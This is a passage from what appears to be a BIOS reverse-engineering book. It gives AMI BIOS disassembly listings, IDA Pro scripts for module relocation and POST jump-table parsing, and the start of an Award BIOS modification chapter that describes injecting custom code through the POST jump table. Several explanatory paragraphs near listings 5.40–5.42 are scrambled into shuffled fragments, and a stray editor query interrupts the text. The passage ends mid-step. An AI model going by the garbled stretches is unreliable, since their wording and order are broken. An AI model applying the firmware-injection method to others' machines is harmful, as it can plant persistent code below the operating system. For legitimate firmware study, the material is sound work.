1352:0016                                 ; CPUID information is 
1352:0016                                 ; stored in memory. 
1352:0018   pop   ax 
1352:0019   call  decompress_component    ; Decompress system BIOS 
1352:0019                                 ; 1st pass @in: 
1352:0019                                 ; edi(dest) = 1A_0000h 
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1352:0019                                 ; esi(src)  = 12_F690h 
1352:0019                                 ; 
1352:0019                                 ; 1st pass @out: esi = 1A_0000h 
1352:0019                                 ;                ZF  = 1 
1352:001C   pop   edx 
1352:001E   jnz   short exit_error 
1352:0020   push  edx 
1352:0022   mov   al, 0D9h ; '-' 
1352:0024   out   80h, al                 ; POST D9h: 
1352:0024                                 ; Store the uncompressed 
1352:0024                                 ; pointer for future use in 
1352:0024                                 ; Power Managed Mode (PMM). 
1352:0024                                 ; Copying main BIOS into  
1352:0024                                 ; memory. Leaves all RAM below 
1352:0024                                 ; 1-MB Read/Write, including 
1352:0024                                 ; E000 and F000 shadow areas 
1352:0024                                 ; but closing SMRAM. 
1352:0026   mov   cs:ea_sys_bios_start, esi ; 1st pass: 1A_0000h 
1352:002C   call  FFh_init_Aseg_Bseg_Eseg 
1352:002F   call  relocate_bios_modules 
1352:0032   call  init_PCI_config_regs    ; Prepare some PCI config regs 
1352:0037   mov   al, 0DAh ; '-' 
1352:0039   out   80h, al                 ; POST DAh: 
1352:0039                                 ; Restore CPUID value back into 
1352:0039                                 ; register. Give control to 
1352:0039                                 ; BIOS POST(ExecutePOSTKernel). 
1352:0039                                 ; See the "POST Code 
1352:0039                                 ; Checkpoints" section of the 
1352:0039                                 ; document for more details. 
1352:003B   pop   edx 
1352:003D   mov   ax, 0F000h 
1352:0040   mov   ds, ax 
1352:0042   assume ds:_F0000 
1352:0042   mov   gs, ax 
1352:0044   assume gs:_F0000 
1352:0044   mov   sp, 4000h 
1352:0047   jmp   far ptr Execute_POST    ; exec POST 
1352:004C ; ------------------------------------------------------------- 
1352:004C exit_error:                     ; ... 
1352:004C   retf 
......... 
1352:0084 ; in:   esi = src start addr 
1352:0084 ;       edi = dest start addr 
1352:0084 ;       al  = decompression 'flag' 
1352:0084 ; 
1352:0084 ; out:  esi = dest start addr 
1352:0084 ;       ZF  = set if success otherwise not 
1352:0084 ;       ds  = 0 
1352:0084 
1352:0084 decompress_component proc near  ; ... 
1352:0084   test  al, 80h 
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1352:0086   jz    short decompress 
1352:0088   push  0 
1352:008A   pop   ds 
1352:008B   assume ds:sys_bios 
1352:008B   jmp   short exit 
1352:008D ; ------------------------------------------------------------- 
1352:008D decompress:                     ; ... 
1352:008D   push  edi                     ; Save decompression dest addr 
1352:008F   push  edi                     ; dest addr 
1352:0091   push  esi                     ; src addr 
1352:0093   call  expand 
1352:0096   add   sp, 8 
1352:0099   pop   esi                     ; Return decompress dest addr 
1352:009B   push  0 
1352:009D   pop   ds 
1352:009E 
1352:009E exit:                           ; ... 
1352:009E   cmp   al, al 
1352:00A0   retn 
1352:00A0 decompress_component endp 
1352:00A1 
1352:00A1 ; Relocates relevant decompressed BIOS components 
1352:00A1 relocate_bios_modules proc near ; ... 
1352:00A1   pushad 
1352:00A3   push  es 
1352:00A4   push  ds 
1352:00A5   mov   bp, sp 
1352:00A7   mov   ax, ds 
1352:00A9   movzx eax, ax 
1352:00AD   shl   eax, 4 
1352:00B1   add   esi, eax                ; esi = 1A_0000h ; since ds = 0 
1352:00B4   push  0 
1352:00B6   pop   ds                      ; ds = 0 
1352:00B7   movzx ecx, word ptr [esi+2]   ; ecx = 2B4h 
1352:00BD   mov   edx, ecx 
1352:00C0   sub   sp, cx                  ; Reserve stack for "header" 
1352:00C2   mov   bx, sp 
1352:00C4   push  ss 
1352:00C5   pop   es                      ; es = ss 
1352:00C6   movzx edi, sp 
1352:00CA   push  esi 
1352:00CC   cld 
1352:00CD   rep movs byte ptr es:[edi], byte ptr [esi] ; Move "header" to 
1352:00CD                                              ; stack 
1352:00D0   pop   esi 
1352:00D2   push  ds 
1352:00D3   pop   es                      ; es = 0 
1352:00D4   assume es:sys_bios 
1352:00D4   movzx ecx, word ptr ss:[bx+0] ; ecx = 1Eh 
1352:00D9   add   esi, edx                ; esi = 1A_02B4h 
1352:00DC 
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1352:00DC next_module:                    ; ... 
1352:00DC   add   bx, 4 
1352:00DF   push  ecx 
1352:00E1   mov   edi, ss:[bx+0]          ; edi = ea_dest_seg --> F_0000h 
1352:00E5   cmp   edi, 0E0000h 
1352:00EC   jb    short dest_below_Eseg   ; 1st pass: not taken 
1352:00EE   cmp   edi, cs:ea_dest_seg 
1352:00F4   jnb   short dest_below_Eseg   ; 1st pass: not taken 
1352:00F6   mov   cs:ea_dest_seg, edi     ; ea_dest_seg = F_0000h 
1352:00FC 
1352:00FC dest_below_Eseg:                ; ... 
1352:00FC   add   bx, 4 
1352:00FF   mov   ecx, ss:[bx+0]          ; ecx = 8001_0000h 
1352:0103   test  ecx, 80000000h 
1352:010A   jz    short no_relocation     ; 1st pass: not taken 
1352:010C   and   ecx, 7FFFFFFFh          ; 1st pass: ecx = 1_0000h 
1352:0113   mov   edx, ecx                ; 1st pass: edx = 1_0000h 
1352:0116   shr   ecx, 2                  ; ecx / 4 
1352:011A   jz    short size_is_zero      ; 1st pass: jmp not taken 
1352:011C   rep movs dword ptr es:[edi], dword ptr [esi] ; 1st pass: 
1352:011C                                 ; copy 64 KB from (1A_02B4h- 
1352:011C                                 ; 1B_02B3h) to F_seg 
1352:0120 
1352:0120 size_is_zero:                   ; ... 
1352:0120   mov   ecx, edx 
1352:0123   and   ecx, 3 
1352:0127   jz    short no_relocation     ; 1st pass: jmp taken 
1352:0129   rep movs byte ptr es:[edi], byte ptr [esi] 
1352:012C 
1352:012C no_relocation:                  ; ... 
1352:012C   pop   ecx 
1352:012E   loop  next_module 
1352:0130   push  0F000h 
1352:0133   pop   ds 
1352:0134   assume ds:_F0000 
1352:0134   mov   eax, cs:ea_dest_seg 
1352:0139   mov   dword_F000_8020, eax 
1352:013D   push  2EF6h 
1352:0140   pop   ds                      ; ds = 2EF6h 
1352:0141   assume ds:nothing 
1352:0141   mov   ds:77Ch, eax 
1352:0145   sub   eax, 100000h 
1352:014B   neg   eax 
1352:014E   mov   ds:780h, eax 
1352:0152   mov   sp, bp 
1352:0154   pop   ds 
1352:0155   assume ds:scratch_pad_seg 
1352:0155   pop   es 
1352:0156   assume es:nothing 
1352:0156   popad 
1352:0158   retn 
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1352:0158 relocate_bios_modules endp 
1352:0158 
1352:0158 ; ------------------------------------------------------------- 
1352:0159 ea_dest_seg dd 0F0000h          ; ... 
1352:0159                                 ; Patched at 
relocate_bios_modules 
1352:0159                                 ; Original value = F_FFFFh 
1352:015D expand proc near                ; ... 
1352:015D 
1352:015D src_addr= dword ptr  4 
1352:015D dest_addr= dword ptr  8 
1352:015D 
1352:015D   push  bp 
......... 
1352:021D   popad 
1352:021F   pop   bp 
1352:0220   retn 
1352:0220 expand endp ; sp = -8 
......... 
 
 The  function in listing 5.40 decompresses the compressed module within 

 relocates the 
 address ranges 

odules and are used by 
g address of the 
ss ranges for the 

expand
the BIOS. The relocate_bios_modules function in listing 5.40

ress ranges. Thesedecompressed module elements into their respective add
ng of the decompressed BIOS mare contained in the beginni

relocate_bios_modules to do the relocation. In this case, the startin
Thus, the addredecompressed BIOS module at this point is 1A_0000h. 

BIOS modules are provided as shown in listing 5.41. 
 

Listing 5.41 BIOS Modules Memory Mapping 

0000:001A0000   dw 1Eh      ; Component number 
0000:001A0002   dw 2B4h     ; "Header" size (to the start of sys_bios?) 
0000:001A0004   dd 0F0000h  ; dest seg = F000h; size = 10000h (relocated) 
0 1A0008   dd 80010000h 000:00
0000:001A000C   dd 27710h   ; dest seg = 2771h; size = 7846h (relocated) 
0000:001A0010   dd 80007846h 
0000:001A0014   dd 13CB0h   ; dest seg = 13CBh; size = 6C2Fh (relocated) 
0000:001A0018   dd 80006C2Fh 
0000:001A001C   dd 0E0000h  ; dest seg = E000h; size = 5AC8h (relocated) 
0000:001A0020   dd 80005AC8h 
0000:001A0024   dd 223B0h   ; dest seg = 223Bh; size = 3E10h (relocated) 
0000:001A0028   dd 80003E10h 
0000:001A002C   dd 0E5AD0h  ; dest seg = E5ADh; size = Dh (relocated) 
0000:001A0030   dd 8000000Dh 
0000:001A0034   dd 13520h   ; dest seg = 1352h; size = 789h 
0000:001A0034               ;(NOT relocated) 
0000:001A0038   dd 789h 
0000:001A003C   dd 261C0h   ; dest seg = 261Ch; size = 528h (relocated) 
0000:001A0040   dd 80000528h 

 
 

95 



0000:001A0044   dd 40000h   ; dest seg = 4000h; size = 5D56h (relocated) 
0000:001A0048   dd 80005D56h 
0000:001A004C   dd 0A8530h  ; dest seg = A853h; size = 82FCh (relocated) 
0000:001A0050   dd 800082FCh 
0000:001A0054   dd 49A90h   ; dest seg = 49A9h; size = A29h (relocated) 
0000:001A0058   dd 80000A29h 
0000:001A005C   dd 45D60h   ; dest seg = 45D6h; size = 3D28h (relocated) 
0000:001A0060   dd 80003D28h 
0000:001A0064   dd 0A0000h  ; dest seg = A000h; size = 55h (relocated) 
0000:001A0068   dd 80000055h 
0000:001A006C   dd 0A0300h  ; dest seg = A030h; size = 50h (relocated) 
0000:001A0070   dd 80000050h 
0000:001A0074   dd 400h     ; dest seg = 40h; size = 110h (NOT relocated) 
0000:001A0078   dd 110h 
0000:001A007C   dd 510h     ; dest seg = 51h; size = 13h (NOT relocated) 
0000:001A0080   dd 13h 
0000:001A0084   dd 1A8E0h   ; dest seg = 1A8Eh; size = 7AD0h (relocated) 
0000:001A0088   dd 80007AD0h 
0000:001A008C   dd 0        ; dest seg = 0h; size = 400h (NOT relocated) 
0000:001A0090   dd 400h 
0000:001A0094   dd 266F0h   ; dest seg = 266Fh; size = 101Fh (relocated) 
0000:001A0098   dd 8000101Fh 
0000:001A009C   dd 2EF60h   ; dest seg = 2EF6h; size = C18h (relocated) 
0000:001A00A0   dd 80000C18h 
0000:001A00A4   dd 30000h   ; dest seg = 3000h; size = 10000h 
0000:001A00A4               ; (NOT relocated) 
0000:001A00A8   dd 10000h 
0000:001A00AC   dd 4530h    ; dest seg = 453h; size = EFF0h 
0000:001A00AC               ; (NOT relocated) 
0000:001A00B0   dd 0EFF0h 
0000:001A00B4   dd 0A8300h  ; dest seg = A830h; size = 230h (relocated) 
0000:001A00B8   dd 80000230h 
0000:001A00BC   dd 0E8000h  ; dest seg = E800h; size = 8000h 
0000:001A00BC               ; (NOT relocated) 
0000:001A00C0   dd 8000h 
0000:001A00C4   dd 0A7D00h  ; dest seg = A7D0h; size = 200h 
0000:001A00C4               ; (NOT relocated) 
0000:001A00C8   dd 200h 
0000:001A00CC   dd 0B0830h  ; dest seg = B083h; size = F0h (relocated) 
0000:001A00D0   dd 800000F0h 
0000:001A00D4   dd 0A8000h  ; dest seg = A800h; size = 200h 
0000:001A00D4               ; (NOT relocated) 
0000:001A00D8   dd 200h 
0000:001A00DC   dd 530h     ; dest seg = 53h; size = 4000h 
0000:001A00DC               ; (NOT relocated) 
0000:001A00E0   dd 4000h 
0000:001A00E4   dd 0A7500h  ; dest seg = A750h; size = 800h 
0000:001A00E4               ; (NOT relocated) 
0000:001A00E8   dd 800h 
0000:001A00EC   dd 0C0000h  ; dest seg = C000h; size = 20000h 
0000:001A00EC               ; (NOT relocated) 
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0000:001A00F0   dd 20000h 
 
 As shown in listing 5.41, the sizes of the address ranges that will be occupied by 

t in the size of the module (the 31st 
or whether to relocate the respective 

n is carried out; otherwise, it is not. Note that the 
 (1352h) is also contained in the address ranges 

 the current code being executed will be 
dress range is not functioning, i.e., its 

it is not set. Thus, no new code will be relocated into it. To relocate the BIOS 
MI BIOS binary, I'm using the IDA Pro script shown in listing 

tion Script 

the BIOS modules are encoded. The most significant bi
it in the second double word of every entry) is a flag fb

module. If it is set, then the relocatio
current segment where the code executes
shown earlier. However, that doesn't mean that

ely overwritten, because its respective adprematur
31st b
modules in this particular A
5.42. 
 

Listing 5.42 BIOS Modules Reloca

/* 
  relocate_bios_modules.idc 
 
  Simulation of relocate_bios_module procedure 
  at 1352h:00A1h - 1352h:0158h 
 
*/ 
#include <idc.idc> 
 
static main(void) 
{ 
auto bin_base, hdr_size, src_ptr, hdr_ptr, ea_module; 
auto module_cnt, EA_DEST_SEG, module_size, dest_ptr; 
auto str, _eax; 
 
EA _SEG = [0x1352, 0x159]; _DEST
 
bin_base = 0x1A0000; 
hdr_size = Word(bin_base+2); 
hdr_ptr = bin_base; /* hdr_ptr = ss:[bx] */ 
module_cnt = Word(hdr_ptr); /* ecx = ss:[bx]*/ 
src_ptr  = bin_base + hdr_size; /* esi += edx */ 
 
/* next_module */ 
while( module_cnt > 0) 
{ 
  hdr_ptr = hdr_ptr + 4; 
  ea_module = Dword(hdr_ptr); 
 
  if( ea_module >= 0xE0000 ) 
  { 
     if( ea_module < Dword(EA_DEST_SEG)) 
     { 
        PatchDword(EA_DEST_SEG, ea_module); 
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     } 
  } 
 
  /* dest_below_Eseg */ 
  hdr_ptr = hdr_ptr + 4; 
  module_size = Dword(hdr_ptr); 
 
  if(module_size & 0x80000000) 
  { 
     module_size  = module_size & 0x7FFFFFFF; 
 
     str = form("relocating module: %Xh ; ", ea_module >> 4); 
     str = str + form("size = %Xh\n", module_size); 
     Message(str); 
 
     SegCreate(ea_module, ea_module + module_size, 
               ea_module >> 4, 0, 0, 0); 
 
     dest_ptr = ea_module; 
 
     while( module_size > 0 ) 
     { 
        PatchByte(dest_ptr, Byte(src_ptr)); 
 
        src_ptr = src_ptr + 1; 
        dest_ptr = dest_ptr + 1; 
        module_size = module_size - 1; 
     } 
  } 
 
  /* no_relocation */ 
  module_cnt = module_cnt - 1; 
} 
 
/* push 0F000h; pop ds */ 
_eax = Dword(EA_DEST_SEG); 
PatchDword([0xF000, 0x8020], _eax); 
 
PatchDword([0x2EF6, 0x77C], _eax); 
str = form("2EF6:77Ch = %Xh \n", Dword([0x2EF6, 0x77C])); 
Message(str); 
 
_eax = 0x100000 - _eax; 
PatchDword([0x2EF6, 0x780], _eax); 
str = form("2EF6:780h = %Xh \n", Dword([0x2EF6, 0x780])); 
Message(str); 
 
return 0; 
} 
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 After the BIOS modules' relocation takes place, the execution continues to 
initialize some PCI configuration register. The routine initializes the chipset registers that 
control the BIOS shadowing task to prepare for the POST execution. The boot block 
execution ends here, and the system BIOS execution starts at the jump into the 
Execute_POST. I dissect this function in the next subsection. 
 
 
5.2.4. AMI System BIOS Reverse Engineering 
 
 The system BIOS for this particular AMI BIOS is reverse engineered by analyzing 
its POST jump table execution. The execution of the POST jump table starts with a far 
jump to the 2771h segment from the interface module, as shown in listing 5.43. 
 

Listing 5.43 POST Jump Table Execution 

1352:0044   mov   sp, 4000h 
1352:0047   jmp   far ptr Execute_POST    ; exec POST 
......... 
2771:3731 Execute_POST: 
2771:3731   cli 
2771:3732   cld 
2771:3733   call  init_ds_es_fs_gs 
2771:3736   call  init_interrupt_vector 
2771:3739   mov   si, offset POST_jump_table 
2771:373C 
2771:373C next_POST_routine:              ; ... 
2771:373C   push  eax 
2771:373E   mov   eax, cs:[si+2] 
2771:3743   mov   fs:POST_routine_addr, eax 
2771:3748   mov   ax, cs:[si] 
2771:374B   mov   fs:_POST_code, ax 
2771:374F   cmp   ax, 0FFFFh 
2771:3752   jz    short no_POST_code_processing 
2771:3754   mov   fs:POST_code, ax 
2771:3758   call  process_POST_code 
2771:375D 
2771:375D no_POST_code_processing:        ; ... 
2771:375D   pop   eax 
2771:375F   xchg  si, cs:tmp 
2771:3764   call  _exec_POST_routine 
2771:3769   xchg  si, cs:tmp 
2771:376E   add   si, 6 
2771:3771   cmp   si, 342h                ; Do we reach the end of POST 
2771:3771                                 ; jump table? 
2771:3775   jb    short next_POST_routine 
2771:3777   hlt                           ; Halt the machine in case of 
2771:3777                                 ; POST failure 
......... 
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 Before POST jump table execution, the routine at segment 2771h initializes all 
segment registers that will be used, and it initializes the preliminary interrupt routine. This 
task is shown in listing 5.44. 
 

Listing 5.44 Initializing Segment Registers before POST Execution 

2771:293F init_ds_es_fs_gs proc near      ; ... 
2771:293F   push  40h ; '@' 
2771:2942   pop   ds 
2771:2943   push  0 
2771:2945   pop   es 
2771:2946   push  2EF6h 
2771:2949   pop   fs 
2771:294B   push  0F000h 
2771:294E   pop   gs 
2771:2950   retn 
2771:2950 init_ds_es_fs_gs endp 
 
 The POST jump table is located in the beginning of segment 2771h, as shown in 
listing 5.45. 
 

Listing 5.45 POST Jump Table 

2771:0000 POST_jump_table dw 3    ; ... 
2771:0000                         ; POST code : 3h 
2771:0002   dd 2771377Eh          ; POST routine at 2771:377Eh 
2771:0006   dw 4003h              ; POST code : 4003h 
2771:0008   dd 27715513h          ; POST routine at 2771:5513h (dummy) 
2771:000C   dw 4103h              ; POST code : 4103h 
2771:000E   dd 27715B75h          ; POST routine at 2771:5B75h (dummy) 
2771:0012   dw 4203h              ; POST code : 4203h 
2771:0014   dd 2771551Ah          ; POST routine at 2771:551Ah (dummy) 
2771:0018   dw 5003h              ; POST code : 5003h 
2771:001A   dd 27716510h          ; POST routine at 2771:6510h (dummy) 
2771:001E   dw 4                  ; POST code : 4h 
2771:0020   dd 27712A3Fh          ; POST routine at 2771:2A3Fh 
2771:0024   dw ?                  ; POST code : FFFFh 
2771:0026   dd 27712AFEh          ; POST routine at 2771:2AFEh 
2771:002A   dw ?                  ; POST code : FFFFh 
2771:002C   dd 27714530h          ; POST routine at 2771:4530h 
2771:0030   dw 5                  ; POST code : 5h 
2771:0032   dd 277138B4h          ; POST routine at 2771:38B4h 
2771:0036   dw 6                  ; POST code : 6h 
2771:0038   dd 27714540h          ; POST routine at 2771:4540h 
2771:003C   dw ?                  ; POST code : FFFFh 
2771:003E   dd 277145D5h          ; POST routine at 2771:45D5h 
2771:0042   dw 7                  ; POST code : 7h 
2771:0044   dd 27710A10h          ; POST routine at 2771:0A10h 
2771:0048   dw 7                  ; POST code : 7h 
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2771:004A   dd 27711CD6h          ; POST routine at 2771:1CD6h 
......... 
 
 Note that I'm not showing the entire POST jump table in listing 5.45. To analyze 
the POST jump table entries semiautomatically, you can use the IDA Pro script shown in 
listing 5.46. 
 

Listing 5.46 POST Jump Table Analyzer Script 

/* 
  parse_POST_jump_table.idc 
 
  Simulation POST execution at 2771:3731h - 2771:3775h 
*/ 
 
#include <idc.idc> 
 
static main(void) { 
  auto ea, func_addr, str, POST_JMP_TABLE_START, POST_JMP_TABLE_END; 
 
  POST_JMP_TABLE_START = [0x2771, 0]; 
  POST_JMP_TABLE_END = [0x2771, 0x342]; 
 
  ea = POST_JMP_TABLE_START; 
 
  while(ea < POST_JMP_TABLE_END) 
  { 
    /*  Make some comments */ 
    MakeWord(ea); 
    str = form("POST code : %Xh", Word(ea)); 
    MakeComm(ea, str); 
 
    MakeDword(ea+2); 
    str = form("POST routine at %04X:%04Xh", Word(ea+4), Word(ea+2)); 
    MakeComm(ea+2, str); 
 
    str = form("processing POST entry @ 2771:%04Xh\n", ea - 0x27710 ); 
    Message(str); 
 
    /* Parse POST entries */ 
    func_addr = (Word(ea+4) << 4) + Word(ea+2); 
    AutoMark(func_addr,AU_CODE); 
    AutoMark(func_addr,AU_PROC); 
    Wait(); 
 
    /* Modify comment for dummy POST entries */ 
    if( Byte(func_addr) == 0xCB) 
    { 
     str = form("POST routine at %04X:%04Xh (dummy)", 
                 Word(ea+4), Word(ea+2)); 
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     MakeComm(ea+2, str); 
    } 
 
    ea = ea + 6; 
  } 
} 
 
 The POST entries marked as "dummy" in listing 5.46 don't accomplish anything; 
they merely return by executing the TretfT instruction when they execute. From this point 
on, system BIOS reverse engineering is trivial because you have already marked and done 
some preliminary analysis on those POST jump table entries. I am not going to delve into it 
because it would take too much space in this book. You only need to follow this POST 
jump table execution to analyze the system BIOS. 
 
 



Chapter 6 BIOS Modification 
 
 
PREVIEW 
 
 This chapter delves into the principles and mechanics of BIOS modification. It 
puts together all of the technology that you learned in previous chapters into a proof of 
concept. Here I demystify the systematic BIOS modification process that only a few have 
conquered. I focus on Award BIOS modification. 
 
 
6.1. Tools of the Trade 
 
 You are only as good as your tools. This principle also holds true in the realm of 
BIOS modification. Thus, start by becoming acquainted with the modification tools. The 
tools needed to conduct an Award BIOS modification are as follows: 
 

1. Disassembler: IDA Pro disassembler. A disassembler is used to comprehend the 
BIOS binary routine to find the right place to carry out the modification. The IDA 
Pro freeware version is available as a free download at 
http://www.dirfile.com/ida_pro_freeware_version.htm. 

2. Hex editor: Hex Workshop version 4.23. The most beneficial feature of Hex 
Workshop is its capability to calculate checksums for the selected range of file that 
you open inside of it. You will use this tool to edit the BIOS binary. However, you 
can use another hex editor for the binary editing purposes. 

3. Assembler: FASMW.1 FASMW is freeware and available for download at 
http://flatassembler.net in the download section. 

4. Modbin. There are two types of modbin, modbin6 for Award BIOS version 
6.00PG and modbin 4.50.xx for Award BIOS version 4.5xPG. You need this tool 
to look at the Award BIOS components and to modify the system BIOS. You can 
download it at http://www.biosmods.com in the download section. This tool also 
used to ensure that the checksum of the modified BIOS is corrected after the 
modification. Modbin is not needed if you don't want to do modification to the 
system BIOS. In this chapter, you need modbin because you are going to modify 
the system BIOS. 

5. Cbrom. This tool is used to view the information about the components inside an 
Award BIOS binary. It's also used to add and remove components from the Award 
BIOS binary. Cbrom is available freely at http://www.biosmods.com in the 
download section. Note that there are many versions of Cbrom. I can't say exactly 
which one you should be using. Try the latest version if you are modifying Award 
BIOS version 6.00PG; otherwise, try an older version. Cbrom is not needed if you 

                                                 
 
1 The windows version of FASM.
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only modify the system BIOS and don't touch the other components in the Award 
BIOS binary. 

6. Chipset datasheets. They are needed if you want to build a patch for the 
corresponding chipset setting. Otherwise, you don't need it. For the purpose of the 
sample modification in this chapter, you need the VIA 693A datasheet. It's 
available for download at http://www.rom.by in the PDF section. 

 
 There is one more BIOS tool resource on the Internet that I haven't mention. It's 
called Borg number one's BIOS tool collection, or BNOBTC for short. It is the most 
complete BIOS tool collection online. However, its uniform resource locator (URL) 
sometimes moves from one host to another. Thus, you may want to use Google to find its 
latest URL. 
 You learned about the IDA Pro disassembler, FASM, and hex editor in the 
previous chapters. Thus, modbin, cbrom, and the chipset datasheet remain. I explore them 
one by one. 
 Start with modbin. Modbin is a console-based utility to manipulate Award system 
BIOS. You know that there are two flavors of modbin, one for each Award BIOS version. 
However, the usage of these tools are similar, just load the BIOS file into modbin and 
modify the system BIOS with it. Moreover, there is one "undocumented feature" of modbin 
that's useful for BIOS modification purposes: during modbin execution; when you start to 
modify the BIOS binary that's currently loaded, modbin will generate some temporary files. 
These temporary files are Award BIOS components. They are extracted by modbin from 
the BIOS binary file. Each of the two types of modbin generates different kinds of 
temporary files. However, both versions extract the system BIOS. Both also pack all 
temporary files into one valid Award BIOS binary when you save changes in modbin. Here 
are the details: 
 

1. Modbin version 4.50.80C extracts the following components from an Award BIOS 
version 4.50PG binary: 

a. Bios.rom. It is the compressed version of last 128 KB of the BIOS file. It 
contains the compressed original.tmp, the boot block, and the 
decompression block. 

b. Original.tmp. It is the decompressed system BIOS. 
 The execution of modbin 4.50.80C is shown in figure 6.1. 
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Figure 6.1 Modbin 4.50.80C in action 

 
2. Modbin version 2.01 extracts the following components from an Award BIOS 

version 6.00PG binary: 
a. Mlstring.bin. It is the compressed version of _en_code.bin. 
b. Original.bin. It is the decompressed system BIOS. 
c. Xgroup.bin. It is the decompressed system BIOS extension. 

The execution of modbin 2.01 is shown in figure 6.2. 
 

 
Figure 6.2 Modbin 2.01 in action 

 
 Modbin might extract even more components than those previously described. 
However, I am only interested in the extracted system BIOS and system BIOS extension, 
since both provide you with the opportunity to modify the core BIOS code flawlessly. 
Figures 6.1 and 6.2 show the existence of the temporary decompressed Award BIOS 
components at runtime. Thus, during the existence of these temporary files, you can edit the 
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temporary system BIOS (original.tmp or original.bin). The net effect of modifying this 
binary will be applied to the overall BIOS binary when you save all changes and exit 
modbin. Modbin is working "under the hood" to compress the modified temporary system 
BIOS into the BIOS binary that you saved. Now can you see the pattern? It is a neat way to 
modify the system BIOS. You don't have to worry about the checksums, either. Modbin 
will fix them. Here is a system BIOS modification technique that I've tested; it works 
flawlessly: 
 

1. Open the BIOS binary to be patched with modbin. 
2. Open the temporary system BIOS (original.tmp or original.bin), generated by step 

1, in the hex editor and subsequently patch it with the hex editor. At this point, you 
can also copy the decompressed system BIOS to another directory to be examined 
with disassembler. Remember that at this point modbin must stay open or active. 

3. Save the changes and close modbin. 
 
 Note that both versions of modbin work flawlessly in Windows XP service pack 2 
and under normal usage; modbin enables you to change BIOS settings, unhide options, 
setting default values, etc. I won't delve into it because it's easy to become accustomed to. 
 The next tool to learn is cbrom. There are several versions of cbrom. All of them 
have related functions: to insert a BIOS component, to extract a BIOS component, to 
remove a BIOS component or to display information about components inside an Award 
BIOS binary. However, there is one thing that you must note: cbrom cannot extract or 
insert the system BIOS, but it can extract or insert the system BIOS extension. Cbrom is 
often used in accordance with modbin; cbrom is used to manipulate components other than 
the system BIOS, and modbin is used to manipulate the system BIOS. Cbrom is also a 
console-based utility. Now, see how it works. 

 
Figure 6.3 Cbrom command options 
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 Figure 6.3 shows the commands applicable to cbrom. Displaying the options or 
help in cbrom is just like in DOS days; just type /? to see the options and their explanation. 
 Now, get into a little over-the-edge cbrom usage. Remove and reinsert the system 
BIOS extension in Iwill VD133 BIOS. This BIOS is based on Award BIOS version 4.50PG 
code. Thus, its system BIOS extension is decompressed into segment 4100h during POST, 
not to segment 1000h as you saw in chapter 5, when you reverse engineered Award BIOS. 
Here is an example of how to release the system BIOS extension from this particular BIOS 
binary using cbrom in a windows console: 
 
E:\BIOS_M~1>CBROM207.EXE VD30728.BIN /other 4100:0 release 
CBROM V2.07 (C)Award Software 2000 All Rights Reserved. 
[Other] ROM is release 
E:\BIOS_M~1> 
 
 Note that the system BIOS extension is listed as the "other" component. Now, see 
how you insert the system BIOS extension back to the BIOS binary: 
 
E:\BIOS_M~1>CBROM207.EXE VD30728.BIN /other 4100:0 awardext.rom 
CBROM V2.07 (C)Award Software 2000 All Rights Reserved. 
Adding awardext.rom .. 66.7% 
 
E:\BIOS_M~1> 
 
 So far, I've been playing with cbrom. The rest is just more exercise to become 
accustomed with it. 
 Proceed to the last tool, the chipset datasheet. Reading a datasheet is not a trivial 
task for a beginner to hardware hacking. The first thing to read is the table of contents. 
However, I will show you a systematic approach to reading the chipset datasheet 
efficiently: 
 

1. Go to the table of contents and notice the location of the chipset block diagram. 
The block diagram is the first thing that you must comprehend to become 
accustomed to the chipset datasheet. And one more thing to remember: you have 
to be acquainted with the bus protocol, or at least know the configuration 
mechanism, that the chipset uses. 

2. Look for the system address map for the particular chipset. This will lead you to 
system-specific resources and other important information regarding the address 
space and I/O space usage in the system. 

3. Finally, look for the chipset register setting explanation. The chipset register 
setting will determine the overall performance of the motherboard when the BIOS 
has been executed. When a bug occurs in a motherboard, it's often the chipset 
register value initialization that causes the trouble. 

 
 You may want to look for additional information. In that case, just proceed on 
your own. 
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 Once you have read and can comprehend some chipset datasheets, it will be much 
easier to read and comprehend a new chipset datasheet. Reading a chipset datasheet is 
necessary when you want to develop a certain patch that modifies the chipset register 
setting during POST or after POST, before the operating system is loaded. 
 Now, you have completed the prerequisites to modify the BIOS. The next section 
will delve into the details of Award BIOS modification. 
 
 
6.2. Code Injection 
 
 Code injection is an advanced BIOS modification technique. As the name implies, 
this technique is accomplished by injecting code to the BIOS. This section focuses on 
injected code that will be executed during the boot process, when the BIOS is executed to 
initialize the system. There are several techniques to inject code2 in Award BIOS: 
 

1. Patch the POST jump table in the system BIOS to include a jump into a 
customized or injected routine. This technique is portable among the different 
versions of Award BIOS.3 Thus, this is the primary modification technique in this 
chapter. 

2. Redirect one of the jumps in the boot block into the custom injected procedure. In 
this case, the injected procedure is also placed in the boot block. However, this 
technique has some drawbacks, i.e., the padding bytes in the boot block area are 
limited. Thus, the injected code must fit in the limited space. Moreover, you can't 
inject code that uses stack because stack is unavailable during boot block 
execution. Thus, I won't delve into this technique here. 

3. Build an ISA expansion ROM and insert it into the BIOS binary by using cbrom. 
This technique works fine for older Award BIOS versions, mostly version 4.50PG. 
It works in Award BIOS version 6.00PG but not in all versions. Thus, it cannot be 
regarded as portable. Moreover, it has some issues with a system that has modified 
BIOS. Thus, I won't delve into it. 

 
 From now on, you will learn the technique to patch the POST jump table. Recall 
from section 5.1.3.2 that there is a jump table called the POST jump table in the system 
BIOS. The POST jump table is the jump table used to call POST routines during system 
BIOS execution. 
 The basic idea of the code injection technique is to replace a "dummy" entry in the 
POST jump table with an offset into a custom-made procedure that you place in the 
padding-bytes section of the system BIOS. The systematic steps of this technique are as 
follows: 

                                                 
 
2 Code injection is adding a custom-made code into an executable file. 
3 There are two major revision of Award BIOS code, i.e., Award BIOS version 4.50PG and Award 
BIOS version 6.00PG. There is also a rather unclear version of Award BIOS code that's called Award 
BIOS version 6. However, Award BIOS version 6 is not found in recent Award BIOS binary releases.

 
 

6 

Julie Laing
Correct as edited? If not, please clarify "them."



 
1. Reverse engineer the Award BIOS with IDA Pro disassembler to locate the POST 

jump table in the system BIOS. It's recommended that you start the reverse 
engineering process in the boot block and proceed to the system BIOS. However, 
as a shortcut, you can jump right into the entry point of the decompressed system 
BIOS at F000:F80Dh. 

2. Analyze the POST jump table; find a jump to dummy procedure. If you find one, 
continue to next step; otherwise, stop here because it's not possible to carry out 
this code injection method in the BIOS. 

3. Assemble the custom procedure using FASMW. Note the resulting binary size. 
Try to minimize the injected code size to ensure that the injected code will fit into 
the "free space" of the system BIOS. The "free space" is the padding-bytes section 
of the system BIOS. 

4. Use modbin to extract the genuine system BIOS from the BIOS binary file. 
5. Use hex editor to analyze the system BIOS to look for padding bytes, where you 

can inject code. If you don't find a suitable area, you're out of luck and cannot 
